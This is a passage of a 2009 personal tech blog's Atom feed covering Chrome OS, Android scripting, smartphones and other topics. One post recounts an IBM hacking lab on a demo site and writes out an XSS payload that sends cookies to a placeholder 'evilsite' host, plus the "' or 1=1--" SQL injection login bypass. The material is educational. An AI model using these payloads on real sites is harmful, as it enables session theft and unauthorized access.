term='Technology'/><category scheme='http://www.blogger.com/atom/ns#' term='Brain Surgery'/><category scheme='http://www.blogger.com/atom/ns#' term='Biomedicine'/><title type='text'>Using Sound Waves in Brain Surgery</title><content type='html'>&lt;div style="text-align: justify;"&gt;A breakthrough approach to brain surgery that uses sound waves to destroy diseased tissues in your brain, thus avoiding opening the skull.  From the article:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"The groundbreaking finding here is that you can make lesions deep in the brain--through the intact skull and skin--with extreme precision and accuracy and safety ... The ultrasound beams are focused on a specific point in the brain--the exact location depends on the condition being treated--that absorbs the energy and converts it to heat. This raises the temperature to about 130 degrees Fahrenheit and kills the cells in a region approximately 10 cubic millimeters in volume. The entire system is integrated with a magnetic resonance scanner, which allows neurosurgeons to make sure they target the correct piece of brain tissue"&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Future tests will involve patients with Parkinson's disease.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;You can read more details in the &lt;a href="http://www.technologyreview.com/biomedicine/23031/"&gt;Technology Review&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-9117222983460958647?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/9117222983460958647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=9117222983460958647' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/9117222983460958647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/9117222983460958647'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/07/using-sound-waves-in-brain-surgery.html' title='Using Sound Waves in Brain Surgery'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7640652751980982663</id><published>2009-07-09T12:26:00.011-04:00</published><updated>2009-11-13T11:16:14.673-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Scripting in Android</title><content type='html'>&lt;div style="text-align: justify;"&gt;Damon Kohler released last month the &lt;a href="http://code.google.com/p/android-scripting/"&gt;Android Scripting Environment&lt;/a&gt; (ASE), which enables running Python scripts in Android. Access to location and sensors, activities and intents, phone calls and text messaging, are just a few examples of the APIs available to scripts.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A more detailed article on this topic can be found on the &lt;a href="http://community.developer.motorola.com/t5/MOTODEV-Blog/Scripting-Android-by-Mike-Riley/ba-p/1426"&gt;Motorola developer blog&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7640652751980982663?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7640652751980982663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7640652751980982663' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7640652751980982663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7640652751980982663'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/07/scripting-in-android.html' title='Scripting in Android'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3458318417591339307</id><published>2009-07-08T11:05:00.025-04:00</published><updated>2009-11-13T11:16:36.047-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Operating System'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Google Chrome OS</title><content type='html'>&lt;div style="text-align: justify;"&gt;Back in December of 2008, I wrote about &lt;a href="http://mihaifonoage.blogspot.com/2008/12/getting-openid-into-your-browser.html"&gt;browsers replacing OSes&lt;/a&gt;. Google introduced the &lt;a href="http://googleblog.blogspot.com/2009/07/introducing-google-chrome-os.html"&gt;Chrome OS&lt;/a&gt; yesterday, "&lt;span style="font-style: italic;"&gt;an open source, lightweight operating system that will initially be targeted at netbooks&lt;/span&gt;".&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The OS targets speed, simplicity, and security. "&lt;span style="font-style: italic;"&gt;We're designing the OS to be fast and lightweight, to start up and get you onto the web in a few seconds&lt;/span&gt;". It will run on x86 and ARM, and will run on a new windowing system on top of the Linux kernel.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In addition, Chrome OS is separate from Android; while Android was designed to run on mobile phones and set top boxes, Chrome OS was designed "&lt;span style="font-style: italic;"&gt;for people who spend most of their time on the web, and is being designed to power computers ranging from small netbooks to full-size desktop systems&lt;/span&gt;".&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3458318417591339307?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3458318417591339307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3458318417591339307' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3458318417591339307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3458318417591339307'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/07/google-chrome-os.html' title='Google Chrome OS'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-659100580372876037</id><published>2009-06-11T14:16:00.043-04:00</published><updated>2009-11-13T11:17:55.932-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBM'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Applications'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM Rational AppScan'/><title type='text'>Web application security flaws exposed</title><content type='html'>&lt;div style="text-align: justify;"&gt;Today I participated in the "Hacking 101" event hosted by IBM in Miami. It was a half day seminar, hands-on lab. Very interesting and useful I must admit. They talked about what are the top security issues of web applications today based on the &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"&gt;OWASP Top 10&lt;/a&gt; document. The interesting part is that they actually demonstrated some of the security issues discussed. In order to showcase everything, they have a test (fictive) web site set up, namely &lt;a href="http://www.testfire.net/"&gt;http://www.testfire.net/&lt;/a&gt; (you can access it from your own station at will). Let me go through some vulnerabilities covered during the session.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;Cross-Site Scripting&lt;/a&gt; (XSS) - Number 1 in the Top 10 list.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;XSS is basically script embedded into HTML returned from a trusted site. One of the implications is that session tokens can be stolen. Let's see how:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;First I search for the string 'Mihai', which will change the browser URL to &lt;a href="http://www.testfire.net/search.aspx?txtSearch=mihai"&gt;http://www.testfire.net/search.aspx?txtSearch=mihai&lt;/a&gt;, printing the result like shown below:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_mPswsGUhiws/SjFPE7sS5cI/AAAAAAAACVE/IS6BE0EwfTA/s1600-h/XSS_Search.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346141178827040194" src="http://1.bp.blogspot.com/_mPswsGUhiws/SjFPE7sS5cI/AAAAAAAACVE/IS6BE0EwfTA/s320/XSS_Search.jpg" style="cursor: pointer; display: block; height: 210px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Next step is to change the query string to &lt;a href="http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E"&gt;http://www.testfire.net/search.aspx?txtSearch=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/a&gt;, resulting in information related to your session being made available:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_mPswsGUhiws/SjFSPQ-lgCI/AAAAAAAACVM/BqdcF73JEt8/s1600-h/XSS_Script.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346144654874476578" src="http://2.bp.blogspot.com/_mPswsGUhiws/SjFSPQ-lgCI/AAAAAAAACVM/BqdcF73JEt8/s320/XSS_Script.jpg" style="cursor: pointer; display: block; height: 210px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;So the cookie is available to JavaScript. How do we exploit this? First, you need the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/966"&gt;Tamper Data&lt;/a&gt; Mozilla add-on. Once you have it installed, open in by choosing &lt;span style="font-weight: bold;"&gt;Tools -&amp;gt; Tamper Data&lt;/span&gt;. Going back to Firefox, in the search text box enter &lt;span style="font-weight: bold;"&gt;%3Cscript%3Edocument.write('&lt;img src="http://evilsite/%27+document.cookie%29;%3C/script%3E" /&gt;&lt;/span&gt;. Looking into the Tamper Data UI, you can locate the request just made to evilsite, and see that your cookie has been sent to it.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_mPswsGUhiws/SjFVcCpB3tI/AAAAAAAACVU/6BatPXqr9Dk/s1600-h/XSS_Exploit.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346148172899147474" src="http://1.bp.blogspot.com/_mPswsGUhiws/SjFVcCpB3tI/AAAAAAAACVU/6BatPXqr9Dk/s320/XSS_Exploit.jpg" style="cursor: pointer; display: block; height: 200px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;To exploit this vulnerability, one can send an email to the user with a link that has the above script embedded in it. Once the user clicks on it, the request will be sent to www.testfire.net, with the script as input for the search text box. When the script is echoed back to the application, it will be executed by the browser and the user cookies will be sent to evilsite.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;SQL Injection&lt;/a&gt; - Number 2 in Top 10 list.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;With SQL Injection, the user input is directly embedded into a SQL statement. One of the implications is that we can access data in a database. Let's say we wanted to log in as administrators into our dummy web site. First step is to get a sense of how the SQL statement is formed. For that, we enter a &lt;span style="font-weight: bold;"&gt;'&lt;/span&gt; as the user name, followed by anything as password:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_mPswsGUhiws/SjFfYmO0QXI/AAAAAAAACVk/xN18qw-i4fI/s1600-h/SQL_Injection_LogIn.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346159108849680754" src="http://2.bp.blogspot.com/_mPswsGUhiws/SjFfYmO0QXI/AAAAAAAACVk/xN18qw-i4fI/s320/SQL_Injection_LogIn.jpg" style="cursor: pointer; display: block; height: 211px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The result of trying to log in will be an error page that will display information related to how the SQL statement involving the user name and password is constructed:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_mPswsGUhiws/SjFgDO38gzI/AAAAAAAACVs/C_2ag69fOOg/s1600-h/SQL_Injection_Query.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346159841314112306" src="http://4.bp.blogspot.com/_mPswsGUhiws/SjFgDO38gzI/AAAAAAAACVs/C_2ag69fOOg/s320/SQL_Injection_Query.jpg" style="cursor: pointer; display: block; height: 206px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Once we know how the query looks like, we can write in the user name field the text &lt;span style="font-weight: bold;"&gt;' or 1=1--&lt;/span&gt;:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_mPswsGUhiws/SjFhI_a0maI/AAAAAAAACV8/1tnCvaWOT2A/s1600-h/SQL_Injection_NewUser.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346161039756269986" src="http://3.bp.blogspot.com/_mPswsGUhiws/SjFhI_a0maI/AAAAAAAACV8/1tnCvaWOT2A/s320/SQL_Injection_NewUser.jpg" style="cursor: pointer; display: block; height: 211px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;with the results of being signed in as admin:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_mPswsGUhiws/SjFhmkDFvXI/AAAAAAAACWE/itwudRsrGFU/s1600-h/SQL_Injection_Admin.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346161547805048178" src="http://3.bp.blogspot.com/_mPswsGUhiws/SjFhmkDFvXI/AAAAAAAACWE/itwudRsrGFU/s320/SQL_Injection_Admin.jpg" style="cursor: pointer; display: block; height: 194px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Other security vulnerabilities were covered, such as &lt;a href="http://www.owasp.org/index.php/Top_10_2007-A3"&gt;Malicious File Execution&lt;/a&gt;, &lt;a href="http://www.owasp.org/index.php/Top_10_2007-A4"&gt;Insecure Direct Object Reference&lt;/a&gt;, &lt;a href="http://www.owasp.org/index.php/Top_10_2007-A6"&gt;Information Leakage and Improper Error Handling&lt;/a&gt;, and &lt;a href="http://www.owasp.org/index.php/Top_10_2007-A10"&gt;Failure to Restrict URL Access&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Of course, IBM has a tool called &lt;a href="http://www-01.ibm.com/software/awdtools/appscan/"&gt;AppScan&lt;/a&gt; that can help in detect all the vulnerabilities I mentioned in this blog. How it works, in a nutshell, is by scaning your web application (i.e. website), identifying the security issues based on some test policies, pointing out the problems , logging the issues, and recommending fixes. Below is a screenshot of AppScan in action (taken from the &lt;a href="http://download.boulder.ibm.com/ibmdl/pub/software/dw/techbriefings/presentations/hacking/presentation.pdf"&gt;pdf presentation slides&lt;/a&gt;):&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;img alt="" src="file:///C:/Users/Mihai/AppData/Local/Temp/moz-screenshot.jpg" /&gt;&lt;img alt="" src="file:///C:/Users/Mihai/AppData/Local/Temp/moz-screenshot-1.jpg" /&gt;&lt;a href="http://4.bp.blogspot.com/_mPswsGUhiws/SjFmSfKLulI/AAAAAAAACWU/KCJ4iDu-Mco/s1600-h/AppScan.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346166700453378642" src="http://4.bp.blogspot.com/_mPswsGUhiws/SjFmSfKLulI/AAAAAAAACWU/KCJ4iDu-Mco/s320/AppScan.jpg" style="cursor: pointer; display: block; height: 230px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;If you want to find out more about the event, get the slides, try everything out, go to &lt;a href="http://www.ibm.com/developerworks/offers/techbriefings/details/hacking.html"&gt;http://www.ibm.com/developerworks/offers/techbriefings/details/hacking.html&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;All in all, a very informative session!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-659100580372876037?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/659100580372876037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=659100580372876037' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/659100580372876037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/659100580372876037'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/06/web-application-security-flaws-exposed.html' title='Web application security flaws exposed'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mPswsGUhiws/SjFPE7sS5cI/AAAAAAAACVE/IS6BE0EwfTA/s72-c/XSS_Search.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-9052283041510537602</id><published>2009-06-05T14:31:00.007-04:00</published><updated>2009-11-13T11:18:33.502-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><title type='text'>Top 5 smartphones for Q1 2009</title><content type='html'>&lt;div style="text-align: justify;"&gt;I was writing in one of my &lt;a href="http://mihaifonoage.blogspot.com/2009/05/top-10-most-popular-us-handsets-in.html"&gt;may posts&lt;/a&gt; about top most popular handsets in the U.S. at the end of 2008, new data come out (I read about it via &lt;a href="http://weblog.cenriqueortiz.com/mobility/2009/05/10/top-5-smartphones-and-mnos-q1-2009-usa/"&gt;cenriqueortiz&lt;/a&gt;) regarding top 5 smartphones sold in Q1 of 2009:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;1. BlackBerry Curve&lt;br /&gt;2. Apple iPhone 3G&lt;br /&gt;3. BlackBerry Storm&lt;br /&gt;4. BlackBerry Pearl&lt;br /&gt;5. T-Mobile G1&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Am glad to see the G1 up there. By the end of 2009, I predict it will move up to 4th or 3rd place.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-9052283041510537602?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/9052283041510537602/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=9052283041510537602' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/9052283041510537602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/9052283041510537602'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/06/top-5-smartphones-for-q1-2009.html' title='Top 5 smartphones for Q1 2009'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4386807273608802543</id><published>2009-06-02T16:49:00.029-04:00</published><updated>2009-11-13T11:19:04.050-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>And the winner is ... Xbox 360</title><content type='html'>&lt;div style="text-align: justify;"&gt;If you haven't heard about "&lt;a href="http://www.xbox.com/en-US/live/projectnatal/"&gt;Project Natal&lt;/a&gt;" don't feel bad, you have now! It is a body motion capture for the Xbox 360. There is no controller required (direct shot at Wii), by using a 'box' that can capture motion, sound, 3D movement for multiple users during a one game session, and offers facial recognition used for example for signing you in to Xbox Live. The release date, although not officially released, it is expected to be some time later this year (Christmas maybe?). I am curious about the cost of Natal. We should not forget that the Wii has a lower price compared to the Xbox 360 and PS3. I guess we'll find out sooner or later.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4386807273608802543?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4386807273608802543/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4386807273608802543' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4386807273608802543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4386807273608802543'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/06/and-winner-is-xbox-360.html' title='And the winner is ... Xbox 360'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1080091229752817787</id><published>2009-06-02T15:58:00.070-04:00</published><updated>2009-11-13T11:19:25.133-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><title type='text'>All the tools you need to work with JavaScript</title><content type='html'>&lt;div style="text-align: justify;"&gt;There is a JavaWorld article titled &lt;a href="http://www.javaworld.com/javaworld/jw-05-2009/jw-05-javascript-tools.html"&gt;Ajax: Tools of the trade&lt;/a&gt;, which consists of a survey of tools for the JavaScript developer.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The article starts by mentioning the JavaScript support offered by popular IDEs such as NetBeans, IntelliJ, and Eclipse. It continues with describing tools such as &lt;a href="http://getfirebug.com/"&gt;Firebug&lt;/a&gt; (lets you edit, debug, and monitor JavaScript on the fly), &lt;a href="http://developer.yahoo.com/yslow/"&gt;YSlow&lt;/a&gt; (analysis webpages and suggests ways to imporve performance), and &lt;a href="http://stevesouders.com/hammerhead/"&gt;Hammerhead &lt;/a&gt;(measures the load time of web pages).&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The next part of the article goes into ways of testing your JavaScript code, by using tools and frameworks such as &lt;a href="http://www.jsunit.net/"&gt;JsUnit &lt;/a&gt;(unit testing framework for JavaScript), &lt;a href="http://jania.pe.kr/aw/moin.cgi/JSSpec"&gt;JSSpec&lt;/a&gt; (you have one or more tests that describe the behavior), &lt;a href="http://developer.yahoo.com/yui/yuitest/"&gt;YUI Test&lt;/a&gt; (testing framework for JavaScript), and &lt;a href="http://www.thefrontside.net/crosscheck"&gt;Crosscheck&lt;/a&gt; (checks if your code runs in many different browsers).&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If you are interested in testing your user interface, the article mentions some of the tools available, such as &lt;a href="http://seleniumhq.org/"&gt;Selenium&lt;/a&gt; (set of tools that supports rapid development of test automation for web-based applications), &lt;a href="http://wtr.rubyforge.org/"&gt;Watir&lt;/a&gt; (an open-source library for automating web browsers), and YUI Test mentioned above which can also be used to simulate the DOM and user interaction.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Other utility tools for JavaScript include &lt;a href="http://www.jslint.com/"&gt;JSLint &lt;/a&gt;(JavaScript code quality tool), or &lt;a href="http://www.crockford.com/javascript/jsmin.html"&gt;JSMin&lt;/a&gt; ( removes comments and unnecessary   whitespace from JavaScript files) and YUI Compressor (in addition to removing comments and whitespace, it also obfuscates local variables using the smallest possible variable name), for minimizing our JavaScript.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Since I have just started JavaScript, I cannot make any recommendations. Try them out, see which one fits your project best, and use it.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1080091229752817787?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1080091229752817787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1080091229752817787' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1080091229752817787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1080091229752817787'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/06/tools-to-work-with-javascript.html' title='All the tools you need to work with JavaScript'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' 